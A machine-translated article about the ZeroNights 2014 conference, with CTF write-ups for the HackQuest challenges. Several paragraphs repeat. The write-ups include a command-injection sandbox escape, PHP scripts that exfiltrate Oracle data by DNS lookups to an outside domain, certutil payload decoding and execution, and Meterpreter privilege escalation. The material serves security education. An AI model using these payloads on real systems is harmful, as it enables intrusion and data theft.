昨年と同様、ZeroNightsに行くには、イベントのチケットを購入するか、HackQuestで勝つ必要がありました。 Habré でHackQuestを発表しましたが 、予想通り、かなり複雑なタスクが登場しました。 各タスクに割り当てられた24時間の代わりに、ソリューションなしで3日間ハングした人もいましたが、たくさんのヒントがありました。 たとえば、Inferno OSエミュレーターで実行されるLimboで記述されたプログラムをどのようにハックするか、暗号化されたデータを相互に送信する2つの他のデバイスの中間に人として接続されるVerilogデバイスのファームウェアをどのように記述しますか? 8つの課題のうち5つで、参加者はレイティングを公開しました。
会議は、11月13日と14日の2日間開催されました。 同時に、レポートを読んだ2つのトラックに参加したり、クールな技術的なトリックを教えたり見せたりするワークショップに参加して、教えることができました。 また、ハードウェアヴィレッジは、攻撃を行うためのラジオ、RFID、NFC、および有線機器を備えたスタンドの2日間すべてに取り組みました。
メインプログラムに加えて、ファストトラック-すべてに関する15分間の短いレポートと、ディフェンシブトラック-あらゆる環境のセキュリティに関する20分間のレポートがありました。
ワークショップは、ツールの使用方法や標準の安全でないルーターの設定から、消費電力の測定値を介してAES-128-ECBキーを破るまで、さまざまなトピックで行われました。
会議の2日間、Qiwiのスタンドが機能し、ブランドステッカーやブレスレットを入手できましたが、最も興味深いのは、実際のQiwiターミナルが機能し、会議の訪問者が好きなようにやり取りできることでした。 ターミナルをハッキングした場合、ハッカーは15万ルーブルで励まされましたが、残念ながら、それを完全に解読することはできませんでした。 また、Qiwiの女の子と写真を撮り、ハッシュタグ#zeronighsと#qiwiでソーシャルネットワークに写真を投稿することで取得できるQiwi Visa Unembossedカードを配布しました。
レポートは最も多様で興味深いものでした。本当にたくさんありました。 会議のオープニングスピーチは、「 インフォセクはゲームですか? 」というプレゼンテーションを行ったAlexander Peslyakに与えられました。DOSゲームの形式でプレゼンテーションを実装し、最後の修正は1995年です。
個人的には、ボリスイワノフのワークショップ「 {mobile}バンキングトロイの木馬によるコンピューターインシデントの調査 」で、ウイルスアナリストが感染したバンキングトロイの木馬を分析するときと同じアクションを行う機会があり、Roman Korkikyanは「 暗号アルゴリズムのキーを探しています 」 消費電力 」については、前述しました。
会議からのフィードバックの1つを次に示します。
私の意見では、今年度の最も重要なイベントは、情報セキュリティの実用的な側面に関する国際会議であるZeroNightsでした。
最も興味深いのは、自動制御システム(ACS TP)の安全性に関連する講演者のスピーチでした。 これらのトピックは、いくつかのレポートで提示されています。 最初のレポートは、単一プロセス制御システムの一部である異種フィールド機器を管理するための単一インターフェースを提供するFDT / DTMテクノロジーの安全性分析に当てられました。 この作業のフレームワークでは、デジタルセキュリティからファジングまでの研究者グループがHARTプロトコルを使用して約750台のフィールドデバイスを調査し、そのうち500台がリモートコード実行、サービス拒否、競合状態、xmlインジェクションなどの脆弱性を明らかにしました。 使用された研究結果とファジング方法に関する詳細は、会社のウェブサイトにあるレポートに記載されています。
ICSセキュリティのトピックに関する別のレポートは、4Gモバイルネットワークのセキュリティ分析に当てられました。 Positive Technologiesの研究者は、被害者の番号にバイナリSMSメッセージを送信することにより、SIMカードで修正できる多くの脆弱性を発見しました。これにより、ブロックされ、加入者が置き換えられ、その場所が追跡されます。 このトピックは、無線チャネルの使用(特に、4Gネットワークに基づく)に基づく産業用制御システムの広範な使用により、非常に緊急になります。 同様のシステムは、鉄道インフラの分野でも使用されています。
また、専門的なスキルと資質の向上を目的としたさまざまなイベントが会議で開催されました。 ハードウェアビレッジのサイトでは、訪問者はさまざまなハードウェアとソフトウェアを学び、作業することができました。 マルウェア分析の方法、モバイルプラットフォームでのフォレンジックの方法、暗号アルゴリズムのハッキングの方法は、2つの別個のいわゆるワークショップサイトで実証されました。 会議中、訪問者が脆弱性を見つけて悪用しようとするQiwi端末が機能しました。 Qiwiは、コンピューターセキュリティコンペティション-CTF(Capture The Flag)も開催しました。これは、スピーカーのプレゼンテーションと並行して、別の会場で開催されました。 結論として、すべてのレポートは非常に興味深く有益であり、会議での自由なコミュニケーションと友好的な雰囲気のおかげで、新しい友達を作り、興味深いニュースや情報セキュリティの実際的な側面に関連する他の多くのトピックについて議論することができました。
同僚との非公式なコミュニケーションの機会、サイバーセキュリティの分野で主要な外国およびロシアの専門家によって行われた詳細な研究の結果に精通しているオーガナイザー、および会議の高レベルの組織に感謝します。
-アレクサンダーコロチン(JSCロシア鉄道のサイバーセキュリティセンターの第一人者)
記事
非表示のテキスト
受賞者:BECHED && OKOB。 執筆の著者はBECHEDです。
割り当ても解決されました:ダーウルフマン、ネオマント、アントンチェレパノフ
執筆の勝者と著者:BECHED。
受賞者および著者-sysenter(Denis Fayustov)。 マストリッド。
: GiftsUngiven
: Dmitry Ananyev
: Roman Bondarenko
: Stanislav Povolotsky
: Torn
: goober, ispras team, Richard Baranyi, BECHED, qwerty@xx
: altexxx
: abc1111abc, beched, Abr1k0s ctf team, darkbyte, obriain, bmth, bo0om, arnor9400
: Sergey Bobrov
: Dan, Alexander & Tolya
1/8日目-アリギエーリ(逆)
受賞者:BECHED && OKOB。 執筆の著者はBECHEDです。
割り当ても解決されました:ダーウルフマン、ネオマント、アントンチェレパノフ
非表示のテキスト
バイナリ2014_1_Alighieri.exeが提供されます。
文字列ユーティリティでファイルを観察した後、InfernoOSの補助エミュレーター(https://github.com/fr1tz/aid/blob/master/emu/port/main.c)であると結論付けることができます。
wineでバイナリを起動しましょう:
明らかに、エミュレータには何らかの形でパッチが適用されています。 文字列と16進エディタを使用してバイナリを観察すると、多くの.gzファイル名とGZipヘッダーがあることに気付くことができます。 '\ xc0 \ x0c \ x80 \ x30 \ x80 \ x40'マジックストリングを使用して.gzファイルを解析します。
これらのGZipアーカイブには、Limbo言語で記述されたバイナリのソースコードパッケージが含まれています。
emuinit.b.gzを解凍して、コードのこの部分を見てみましょう。
サンドボックスエスケープにつながる脆弱性があります。
デコード:
dot()関数は明らかに51(ord( '3'))を返すことに注意してください。
このアルゴリズムはシステムの初期化時に起動されるようです。 次に、crypto.bを見てみましょう。
「PrivetPyotr!PyotrlovesGo&Pokemons!236783」はフラグではなく、他にも何かあります。 ここではrandの使用法を確認できません。ソースコードは明確にトリミングされています。
crypt.disの逆アセンブリを取得しましょう。
次のステップは、rand()アルゴリズムを分析することです。 パッチが適用されたライブラリのソースコードは、/ appl / lib / rand.bにあります。
ランドを実装します。
すべてをまとめて、Pythonでキー生成のアルゴリズムを書き換えましょう。
起動してフラグを取得します。
$ file 2014_1_Alighieri.exe 2014_1_Alighieri.exe: PE32 executable (console) Intel 80386, for MS Windows
文字列ユーティリティでファイルを観察した後、InfernoOSの補助エミュレーター(https://github.com/fr1tz/aid/blob/master/emu/port/main.c)であると結論付けることができます。
wineでバイナリを起動しましょう:
$ wine 2014_1_Alighieri.exe ...Gimme something... $ wine 2014_1_Alighieri.exe asd ...But already my desire and my will were being turned like a wheel, all at one speed, by the Love which moves the sun and the other stars.-1.000000 -1.200000 ! -1.000000 -1.200000 ! -1.222220 -1.200000 ! 0.000000 -1.200000 ! Your system has been tainted... S0rry! =-+_&*¦№ў<¦¬B¬VI-N¦
明らかに、エミュレータには何らかの形でパッチが適用されています。 文字列と16進エディタを使用してバイナリを観察すると、多くの.gzファイル名とGZipヘッダーがあることに気付くことができます。 '\ xc0 \ x0c \ x80 \ x30 \ x80 \ x40'マジックストリングを使用して.gzファイルを解析します。
これらのGZipアーカイブには、Limbo言語で記述されたバイナリのソースコードパッケージが含まれています。
emuinit.b.gzを解凍して、コードのこの部分を見てみましょう。
if(len args < 2) sys->fprint(sys->fildes(2), "Gimme something..."); else{ str := "-c /dis/echo " + hd tl args + " | /dis/crypt"; args1 := list of {"sh", str,}; mod: Command; (mod, args1) = loadmod(args1); mod->init(nil, args1); }
サンドボックスエスケープにつながる脆弱性があります。
非表示のテキスト
多くの便利なバイナリはシステムにありませんが、それらをダウンロードして(http://code.google.com/r/jasoncatena-acmesac/source/browse/)、マウントされているホストマシンの/ tmpに入れることができます。 Inferno VMで。
$ wine 2014_1_Alighieri.exe 'LOL ;/dis/sh.dis;/dis/echo AHAHA' ...LOL ; ls / / /appl /bin /boot /cdrom /chan /dev /dis /env /etc /fd /fonts /home /initrd.img /initrd.img.old /lib /lib /lib32 /lib64 /libx32 /lost+found /media /mnt /mnt /n /net /net.alt /nvfs /opt /poem.txt /prof /prog /root /run /sbin /srv /tmp /usr /var /vmlinuz
多くの便利なバイナリはシステムにありませんが、それらをダウンロードして(http://code.google.com/r/jasoncatena-acmesac/source/browse/)、マウントされているホストマシンの/ tmpに入れることができます。 Inferno VMで。
; ./cat.dis /mnt/blas.txt I2luY2x1ZGUgImxpYjkuaCIKI2luY2x1ZGUgIm1hdGhpLmgiCgpkb3VibGUKZG90KGludCBuLCBk b3VibGUgKngsIGRvdWJsZSAqeSkKewoJZG91YmxlCXN1bSA9IDA7CglpbnQgaSA9IChpbnQpIHlb MF07Cgl1bnNpZ25lZCBjaGFyIGtbXSA9IHsgMCwxLDIsMyw0LDUsNiw3LDgsOSB9OwoJdW5zaWdu ZWQgY2hhciBqID0gKHVuc2lnbmVkIGNoYXIpIHhbMF07CQoKCXByaW50ZigiJWYgJWYgIVxuIiwg eFszXSwgeVszXSk7CgoJaWYgKG4gPD0gMCkgCgkJcmV0dXJuIDA7Cgl3aGlsZSAobi0tKSB7CgkJ c3VtICs9ICp4KysgKiAqeSsrOwoJfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgCiAgICAgIAlzdW0gPSAoZG91YmxlKSAoaiBeIGtbaV0pOwoKCXJldHVybiBzdW07Cn0K CgppbnQKaWFtYXgoaW50IG4sIGRvdWJsZSAqeCkKewoJaW50CWksIG07Cglkb3VibGUJeG0sIGE7 CglpZiAobiA8PSAwKSAKCQlyZXR1cm4gMDsKCW0gPSAwOwoJeG0gPSBmYWJzKCp4KTsKCWZvciAo aSA9IDE7IGkgPCBuOyBpKyspIHsKCQlhID0gZmFicygqKyt4KTsKCQlpZiAoeG0gPCBhKSB7CgkJ CW0gPSBpOwoJCQl4bSA9IGE7CgkJfQoJfQoJcmV0dXJuIG07Cn0KCgpkb3VibGUKbm9ybTEoaW50 IG4sIGRvdWJsZSAqeCkKewoJZG91YmxlCXN1bSA9IDA7CglpZiAobiA8PSAwKSAKCQlyZXR1cm4g MDsKCXdoaWxlIChuLS0pIHsKCQlzdW0gKz0gZmFicygqeCk7CgkJeCsrOwoJfQoJcmV0dXJuIHN1 bTsKfQoKCmRvdWJsZQpub3JtMihpbnQgbiwgZG91YmxlICp4KQp7Cglkb3VibGUJc3VtID0gMDsK CWlmIChuIDw9IDApIAoJCXJldHVybiAwOwoJd2hpbGUgKG4tLSkgewoJCXN1bSArPSAqeCAqICp4 OwoJCXgrKzsKCX0KCXJldHVybiBzdW07Cn0K
デコード:
非表示のテキスト
#include "lib9.h" #include "mathi.h" double dot(int n, double *x, double *y) { double sum = 0; int i = (int) y[0]; unsigned char k[] = { 0,1,2,3,4,5,6,7,8,9 }; unsigned char j = (unsigned char) x[0]; printf("%f %f !\n", x[3], y[3]); if (n <= 0) return 0; while (n--) { sum += *x++ * *y++; } sum = (double) (j ^ k[i]); return sum; } int iamax(int n, double *x) { int i, m; double xm, a; if (n <= 0) return 0; m = 0; xm = fabs(*x); for (i = 1; i < n; i++) { a = fabs(*++x); if (xm < a) { m = i; xm = a; } } return m; } double norm1(int n, double *x) { double sum = 0; if (n <= 0) return 0; while (n--) { sum += fabs(*x); x++; } return sum; } double norm2(int n, double *x) { double sum = 0; if (n <= 0) return 0; while (n--) { sum += *x * *x; x++; } return sum; }
dot()関数は明らかに51(ord( '3'))を返すことに注意してください。
このアルゴリズムはシステムの初期化時に起動されるようです。 次に、crypto.bを見てみましょう。
... x := array[] of {50.0, 432432.32423, 0.0, -1.0}; y := array[] of {1.00, 24373.231879, 0.0, -1.2}; decrypt := 0; secret: array of byte; alg := DEFAULTALG; rand->init(132321); s := "P" + "r" + "i" + "vet" + "Py" + "otr" + "!" + "Py" + "otr" + "lo" + "ves" + "Go" + "&Po" + "ke" + "mons" + "!236"+"783"; secret = array of byte s; # enough for tips guys, the s3cr3t could be found in the dis file... you need to go d333p3r inside it! s = string secret; sys->fprint(stderr, "Your system has been tainted... S0rry!\r\n"); ...
「PrivetPyotr!PyotrlovesGo&Pokemons!236783」はフラグではなく、他にも何かあります。 ここではrandの使用法を確認できません。ソースコードは明確にトリミングされています。
crypt.disの逆アセンブリを取得しましょう。
非表示のテキスト
; disdump crypt.dis frame $8, 40(fp) ... newa $4, $3, 40(fp) // x := array[] of {50.0, 432432.32423, 0.0, -1.0}; indf 40(fp), 96(fp), $0 movf 80(mp), 0(96(fp)) indf 40(fp), 96(fp), $1 movf 96(mp), 0(96(fp)) indf 40(fp), 96(fp), $2 movf 40(mp), 0(96(fp)) indf 40(fp), 96(fp), $3 movf 104(mp), 0(96(fp)) newa $4, $3, 48(fp) // y := array[] of {1.00, 24373.231879, 0.0, -1.2}; indf 48(fp), 96(fp), $0 movf 48(mp), 0(96(fp)) indf 48(fp), 96(fp), $1 movf 88(mp), 0(96(fp)) indf 48(fp), 96(fp), $2 movf 40(mp), 0(96(fp)) indf 48(fp), 96(fp), $3 movf 112(mp), 0(96(fp)) movw $0, 60(fp) movp 228(mp), 56(fp) mframe 224(mp), $0, 96(fp) movw $132321, 32(96(fp)) // rand->init(132321); mcall 96(fp), $0, 224(mp) movp 136(mp), 76(fp) cvtca 76(fp), 44(fp) indb 44(fp), 96(fp), $2 mframe 212(mp), $0, 100(fp) movp 40(fp), 32(100(fp)) movp 48(fp), 36(100(fp)) lea 112(fp), 16(100(fp)) mcall 100(fp), $0, 212(mp) cvtfw 112(fp), 92(fp) cvtwb 92(fp), 0(96(fp)) indf 40(fp), 100(fp), $1 indf 40(fp), 96(fp), $2 // s[2] = chr(int(dot(3,x,y))&0xFF) mulf 0(96(fp)), 64(mp), 112(fp) // x[1] = (x[2] * 64(mp))/72(mp) divf 72(mp), 112(fp), 0(100(fp)) indf 48(fp), 100(fp), $2 // y[2] = 48(fp) = 50.0 movf 48(mp), 0(100(fp)) indb 44(fp), 100(fp), $4 // s[2] = chr(int(dot(3,x,y))&0xFF) mframe 212(mp), $0, 92(fp) movp 40(fp), 32(92(fp)) movp 48(fp), 36(92(fp)) lea 112(fp), 16(92(fp)) mcall 92(fp), $0, 212(mp) cvtfw 112(fp), 96(fp) cvtwb 96(fp), 0(100(fp)) indf 40(fp), 100(fp), $3 indf 40(fp), 96(fp), $3 mulf 0(96(fp)), 56(mp), 0(100(fp)) // x[3] *= 56(mp) = 1.22222 indf 48(fp), 100(fp), $2 movf 40(mp), 0(100(fp)) // y[2] = 40(mp) = 0.0 indb 44(fp), 100(fp), $35 // s[35] = chr(int(dot(3,x,y))&0xFF) mframe 212(mp), $0, 92(fp) movp 40(fp), 32(92(fp)) movp 48(fp), 36(92(fp)) lea 112(fp), 16(92(fp)) mcall 92(fp), $0, 212(mp) cvtfw 112(fp), 96(fp) cvtwb 96(fp), 0(100(fp)) indf 40(fp), 100(fp), $3 indf 40(fp), 96(fp), $1 mulf 0(96(fp)), 64(mp), 112(fp) // x[3] *= (x[1] * 64(mp))/72(mp) divf 72(mp), 112(fp), 0(100(fp)) indf 48(fp), 100(fp), $2 movf 40(mp), 0(100(fp)) // y[2] = 40(mp) = 0.0 indb 44(fp), 100(fp), $36 // s[36] = chr(int(dot(3,x,y))&0xFF) mframe 212(mp), $0, 92(fp) movp 40(fp), 32(92(fp)) movp 48(fp), 36(92(fp)) lea 112(fp), 16(92(fp)) mcall 92(fp), $0, 212(mp) cvtfw 112(fp), 96(fp) cvtwb 96(fp), 0(100(fp)) indb 44(fp), 100(fp), $37 // s[37] = rand(2014) mframe 224(mp), $1, 92(fp) movw $2014, 32(92(fp)) lea 96(fp), 16(92(fp)) mcall 92(fp), $1, 224(mp) cvtwb 96(fp), 0(100(fp)) indb 44(fp), 100(fp), $34 // s[34] = rand(2014) - 50 mframe 224(mp), $1, 92(fp) movw $2014, 32(92(fp)) lea 96(fp), 16(92(fp)) mcall 92(fp), $1, 224(mp) subw $50, 96(fp) ...
次のステップは、rand()アルゴリズムを分析することです。 パッチが適用されたライブラリのソースコードは、/ appl / lib / rand.bにあります。
ランドを実装します。
非表示のテキスト
include "rand.m"; rsalt: big; init(seed: int) { rsalt = big 10; } MASK: con (big 1<<63)-(big 1); rand(modulus: int): int { rsalt = rsalt * big 1103515245 + big 12345; if(modulus <= 0) return 0; return int (((rsalt&MASK)>>10) % big modulus); } # 0 < modulus < 2^53 bigrand(modulus: big): big { rsalt = rsalt * big 1103515245 + big 12345; if(modulus <= big 0) return big 0; return ((rsalt&MASK)>>10) % modulus; }
すべてをまとめて、Pythonでキー生成のアルゴリズムを書き換えましょう。
rsalt = 10 MASK = (1<<63)-(1) def rand(modulus): global rsalt global MASK rsalt = rsalt * 1103515245 + 12345; if modulus <= 0: return 0 return int (((rsalt&MASK)>>10) % modulus) s = [ord(x) for x in 'PrivetPyotr!PyotrlovesGo&Pokemons!236783'] s[2] = 51 s[4] = 51 s[35] = 51 s[36] = 51 s[37] = rand(2014) & 0xFF s[34] = rand(2014) - 50 & 0xFF print ''.join([chr(x) for x in s])
起動してフラグを取得します。
$ python genkey.py Pr3v3tPyotr!PyotrlovesGo&Pokemons!w33\83
2/8日目-ヨロチカ(その他/ペンテスト)
執筆の勝者と著者:BECHED。
非表示のテキスト
IPアドレスが与えられ、NMapでスキャンして次の結果が得られます。1つのサーバーには9100(Apache Tomcat)ポートと1521(Oracle TNS)ポートが開かれ、他のサーバーには1521(tcpwrapped)しかありません。
このタスクには多くの間違いが含まれており、解決に多くの時間がかかりました。 実際にフラグにつながった手順は次のとおりです。
1. Webサーバー上のディレクトリ(タスクの名前)を推測します: 80.70.234.121 :9100 / yolochka /
2.そこでフォームをファジングし、クエリのコンテキストでのSQLインジェクションではないというヒントを読みます。代わりにクエリ全体をインジェクトできます。
DNSデータのエクスプロイトのエクスプロイトを作成します。
Bind9ログファイルでこれに注意してください。
列名を取得しましょう:
テーブルからのデータ抽出はいくつかのミスのために不可能であるため、作成者は列名を取得することができたすべての人にOracle TNSのパスワードを与えました。
3.データベースには興味深いものは何もありません。 しかし、2番目のホストを覚えていますか? たぶん、データベースリンクの時間です。
問題は、資格情報がわからないことです。 TNS中毒は私たちを助けたはずですが、うまくいきませんでした。 したがって、作成者は資格情報のSIDを提供する必要がありました(以前にSIDを強制的にブルートしましたが)。
BRUKERHAVNはデフォルトのアカウントです。試してみましょう。
4.テーブルを取得します。
ログインとパスワードのフィールドを持つテーブルPRIVATESTORAGEがあります。 ログインには31337(上記のヒントで述べたSYS)が含まれ、パスワードは空白のように見え、rawtohex(パスワード)は20,000,000を生成します...
新しいヒントには「編集」と書かれています。 オッケー! 次のようなブールベースのSQLインジェクションを利用するだけで、リダクションメカニズム(「Oracleリダクション」のgoogle)をバイパスできます。
最初のTNS:871526でSYSのパスワードを取得します。
5.データベースにログインしますが、フラグはありません! コードの実行が必要なようです。 Navicatの特性によりJavaプロシージャは失敗しましたが、PL / SQLは正常に機能しました。
ヒントは、DLLインジェクションを実行するようになりました。 oci.dllをカスタムのもの(x64 msfvenomによって生成されたもの)で置き換えようとしましたが、成功しませんでした。「DLLの実行がトリガーされていないためです。
ところで、FTPは機能しなかったため、base64でエンコードされたバイナリをエコー経由でファイルシステムに書き込み、次のようにcertutilでデコードしました。
6. Navicatを介したこのコマンドの実行は不便です。Meterpreterをアップロードしましょう。
事実、Meterpreterでの単純な特権エスカレーションは機能し、フラグを与えました。
SYSTEMを取得することもできます。
このタスクには多くの間違いが含まれており、解決に多くの時間がかかりました。 実際にフラグにつながった手順は次のとおりです。
1. Webサーバー上のディレクトリ(タスクの名前)を推測します: 80.70.234.121 :9100 / yolochka /
2.そこでフォームをファジングし、クエリのコンテキストでのSQLインジェクションではないというヒントを読みます。代わりにクエリ全体をインジェクトできます。
DNSデータのエクスプロイトのエクスプロイトを作成します。
<?php for($i = 1; $i < 100; ++$i) { $query = "SELECT table_name FROM (SELECT DISTINCT owner, ROWNUM r, table_name FROM all_tables) WHERE r=$i"; $name = urlencode("select UTL_INADDR.get_host_address(($query)||'.zeronights.ahack.ru') from dual"); file_get_contents("http://80.70.234.121:9100/yolochka/response.jsp?name=$name"); }
Bind9ログファイルでこれに注意してください。
queries: info: client 74.125.46.19#64029: query: SDO_WS_CONFERENCE_PARTICIPANTS.zeronights.ahack.ru IN A -ED (192.168.1.105) queries: info: client 74.125.46.81#50980: query: SDO_TIN_PC_SEQ.zeronights.ahack.ru IN A -ED (192.168.1.105) queries: info: client 74.125.74.147#54802: query: SDO_TIN_PC_SYSDATA_TABLE.zeronights.ahack.ru IN A -ED (192.168.1.105) queries: info: client 74.125.74.82#58315: query: WWV_FLOW_DUAL100.zeronights.ahack.ru IN A -ED (192.168.1.105) queries: info: client 74.125.74.16#48794: query: CUSTOMERS1.zeronights.ahack.ru IN A -ED (192.168.1.105) queries: info: client 173.194.98.151#54859: query: SDO_WFS_LOCAL_TXNS.zeronights.ahack.ru IN A -ED (192.168.1.105) queries: info: client 74.125.74.80#38451: query: SDO_GR_RDT_1.zeronights.ahack.ru IN A -ED (192.168.1.105) queries: info: client 173.194.98.149#47182: query: SDO_GR_PARALLEL.zeronights.ahack.ru IN A -ED (192.168.1.105)
列名を取得しましょう:
<?php for($i = 1; $i < 100; ++$i) { $query = "SELECT column_name FROM (SELECT DISTINCT owner, ROWNUM r, column_name FROM all_tab_columns WHERE table_name='CUSTOMERS1') WHERE r=$i"; $name = urlencode("select UTL_INADDR.get_host_address(($query)||'.$i.zeronights.ahack.ru') from dual"); file_get_contents("http://80.70.234.121:9100/yolochka/response.jsp?name=$name"); }
queries: info: client 74.125.74.144#53451: query: CUSTOMER_ID.1.zeronights.ahack.ru IN A -ED (192.168.1.105) queries: info: client 74.125.74.146#55711: query: CUSTOMER_NAME.2.zeronights.ahack.ru IN A -ED (192.168.1.105) queries: info: client 173.194.98.145#57572: query: CITY.3.zeronights.ahack.ru IN A -ED (192.168.1.105)
テーブルからのデータ抽出はいくつかのミスのために不可能であるため、作成者は列名を取得することができたすべての人にOracle TNSのパスワードを与えました。
login for TNS - c##webdbadmin, password - strongpassword123
3.データベースには興味深いものは何もありません。 しかし、2番目のホストを覚えていますか? たぶん、データベースリンクの時間です。
問題は、資格情報がわからないことです。 TNS中毒は私たちを助けたはずですが、うまくいきませんでした。 したがって、作成者は資格情報のSIDを提供する必要がありました(以前にSIDを強制的にブルートしましたが)。
31337=SYS poradb BRUKERNAVN
BRUKERHAVNはデフォルトのアカウントです。試してみましょう。
CREATE DATABASE LINK TEST123 CONNECT TO BRUKERNAVN IDENTIFIED BY "PASSWORD" USING '(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=80.70.234.122)(PORT=1521))(CONNECT_DATA=(SERVER = DEDICATED)(SERVICE_NAME=PORADB)(ROLE=DEFAULT)))';
4.テーブルを取得します。
select * from user_tables@TEST123
ログインとパスワードのフィールドを持つテーブルPRIVATESTORAGEがあります。 ログインには31337(上記のヒントで述べたSYS)が含まれ、パスワードは空白のように見え、rawtohex(パスワード)は20,000,000を生成します...
新しいヒントには「編集」と書かれています。 オッケー! 次のようなブールベースのSQLインジェクションを利用するだけで、リダクションメカニズム(「Oracleリダクション」のgoogle)をバイパスできます。
select * from PRIVATESTORAGE@TEST123 where ascii(substr(password,1,1))>40
最初のTNS:871526でSYSのパスワードを取得します。
5.データベースにログインしますが、フラグはありません! コードの実行が必要なようです。 Navicatの特性によりJavaプロシージャは失敗しましたが、PL / SQLは正常に機能しました。
DECLARE l_output DBMS_OUTPUT.chararr; l_lines INTEGER := 1000; BEGIN DBMS_OUTPUT.enable(1000000); DBMS_JAVA.set_output(1000000); host_command('dir'); DBMS_OUTPUT.get_lines(l_output, l_lines); FOR i IN 1 .. l_lines LOOP -- Do something with the line. -- Data in the collection - l_output(i) DBMS_OUTPUT.put_line(l_output(i)); END LOOP; END;
ヒントは、DLLインジェクションを実行するようになりました。 oci.dllをカスタムのもの(x64 msfvenomによって生成されたもの)で置き換えようとしましたが、成功しませんでした。「DLLの実行がトリガーされていないためです。
ところで、FTPは機能しなかったため、base64でエンコードされたバイナリをエコー経由でファイルシステムに書き込み、次のようにcertutilでデコードしました。
... host_command('echo cmVsZWFzZVxidWlsZC0yLjIuMTRcc3VwcG9ydFxSZWxlYXNlXGFiLnBkYgA=>>hui.enc'); host_command('certutil -decode hui.enc hui.exe'); host_command('hui.exe');
6. Navicatを介したこのコマンドの実行は不便です。Meterpreterをアップロードしましょう。
事実、Meterpreterでの単純な特権エスカレーションは機能し、フラグを与えました。
meterpreter > list_tokens -u [-] Warning: Not currently running as SYSTEM, not all tokens will be available Call rev2self if primary process token is SYSTEM Delegation Tokens Available ======================================== WIN-A4CD786SH46\oracuser Impersonation Tokens Available ======================================== NT AUTHORITY\SYSTEM WIN-A4CD786SH46\Administrator meterpreter > impersonate_token WIN-A4CD786SH46\\Administrator [-] Warning: Not currently running as SYSTEM, not all tokens will be available Call rev2self if primary process token is SYSTEM [-] No delegation token available [+] Successfully impersonated user WIN-A4CD786SH46\Administrator meterpreter > getuid Server username: WIN-A4CD786SH46\Administrator
meterpreter > cd password meterpreter > ls Listing: c:\Users\Administrator\Desktop\password ================================================ Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 40777/rwxrwxrwx 0 dir 2014-10-03 04:02:41 +0400 . 40555/r-xr-xr-x 0 dir 2014-10-03 04:02:41 +0400 .. 100666/rw-rw-rw- 17 fil 2014-10-02 20:55:46 +0400 passwords.txt meterpreter > cat passwords.txt belkas'elakolbasy
SYSTEMを取得することもできます。
meterpreter > getsystem ...got system (via technique 1). meterpreter > getuid Server username: NT AUTHORITY\SYSTEM
3/8日目-感染したターミナル(リバース)
受賞者および著者-sysenter(Denis Fayustov)。 マストリッド。
非表示のテキスト
3つのファイルを含むアーカイブが提供されます。 その中には、標準Cライブラリ、ライセンス契約ファイル、および未知のコンテンツのexeファイルがあります。
実行可能ファイルを見た後、それについていくつかの結論を導き出すことができます。
upxを削除してリソースを調べ、そこからPYTHONSCRIPTとpython27.dllを取得します。
原則として、メインexeを使用した作業は終了したと見なすことができます。興味のあるコードは含まれていません。ただし、命令がアドレスベース+ 0x1361(まあ、または近く)にある場合を除きます。 python27.dll)。
前に示したように、リソースからのライブラリは実行のためにロードされ(「手動で」ディスクにコピーすることなく)、ロードベースは一定(ヘッダーからの標準)で、目的のメモリ領域が占有されている場合にのみ変更されます。
zipアーカイブには必要なものは含まれていません。標準のPythonライブラリからコンパイルされたpycファイルのみがあります。
次に行うことは、py2exeプログラムによって作成されたPYTHONSCRIPTを解凍することです。 とりわけ、私はunpy2exeプログラムが好きでした[1]。 ただし、単に取り出して解凍するだけでは機能しません。 バイトコードは暗号化されています。
対応するバージョンのpythonのソースがダウンロードされ、コードのバイトを読み取る機能が見つかりました。
ソース:\ Python \ marshal.c function r_object case TYPE_CODE:
dllから対応するコード(1E124520 == r_object)を分析しました:
decode_codeオブジェクトはsecret_bufferへの参照を取得します。
decode_bytecode関数の定数0x6611CB3Bにより、アルゴリズム[2]が見つかります。
ほぼ同時期に、暗号化されていないPYTHONSCRIPTの形式でヒントが公開されました。これは、2つのpycファイルを解凍することにより、unpy2exeによって正常に飲み込まれました。 EasyPythonDecompilerを使用して、それらをpyファイルに逆コンパイルします。
名前にスペースを含むファイルは必要ありませんが、P429.pyは十分興味深いものです。
<ファイルP429.py>
まず、このコードから、ボットがHostStackにアドレスを追加するために満たす必要がある条件を取得します。 関数呼び出しV9wP.O4Ik、Te8D.EqjC、T4a5.b3SS.decryptに注意してください。 zipアーカイブに広告を含むファイルはありません。 それらはpython27.dll(いわゆるcythonモジュール)にコンパイルされます。
文字列定数により、それらのアドレスが決定されました。
ゲート-パラメーターとして渡された関数名でアドレス0x1E0256A0への呼び出しが表示され、対応するImplも呼び出される関数。
Implは、この関数の実装です。
0x1E0256A0の関数は、すべてのcython関数を見つけるのに役立ちます(誰でもそれを呼び出すゲートを持っています)。
これらの関数をトレースしようとすると、Pythonでデータを表現する問題、つまりPyObject *型に直面します。デバッガーでは、関数、クラス、数値、文字列、またはタプルが目の前にあるとすぐに言うのは困難です。
この問題の解決策は、アドレス0x1E0CD0B0の関数void _PyObject_Dump(PyObject * op)の形式で見つかりました。 渡されるオブジェクトに関する情報を表示するだけです:コンテンツ、タイプ、オブジェクトへのリンク数、アドレス。 しかし、最も重要なことは、出力がアプリケーション自体のコンソールに送られることです。
次のコードは、Multiline Ultimate Assembler用に記述されています[4]:
Pythonライブラリは常に同じアドレスにロードされるため、multiasmのコードにパッチを当てることは非常に便利です。 この場合、終了時にいくつかの関数を制御し、作業の結果、カートの形式で渡された引数(それらはそのようになります)、および関数の名前を表示します。
インターセプトの関数はランダムに選択されました。これらを具体的に選択することに特別な意味はありません。 また、インターセプトが非常に正確に行われなかったことに注意する価値があります。それ以降、一部の関数では、INT3のアライメントが行われないため、次の関数の先頭が破損する可能性があります。 常にこれについては何も落ちていませんが、これが可能であることを心に留めておくべきです。
ログは非常に大きな作業の結果として判明します。最も興味深いエントリのいくつかに注目します。
関数Te8D.EqjCの結果、同じ(ff_hash、ff_code、ff_key)。
オブジェクト: 'http://*.*.*.*:808 / bahgvsj /'
ff_host = b3SS()を実行した後のff_hostの値。復号化(ff_text、self.ff_key、self.ff_code).lower()
いくつかの復号化された行。
そして、判明したように、最も有用なのはシリアル化されたデータです。 最初はサーバーから来て、2番目はサーバーに行きました。
たとえばphpでは、場合によってはunserialize関数がオブジェクトインジェクションにつながることが知られています。 pythonの動作を確認することにしました。 ドキュメントの警告は次のとおりです。
行をサーバーに送信する準備を整えます。
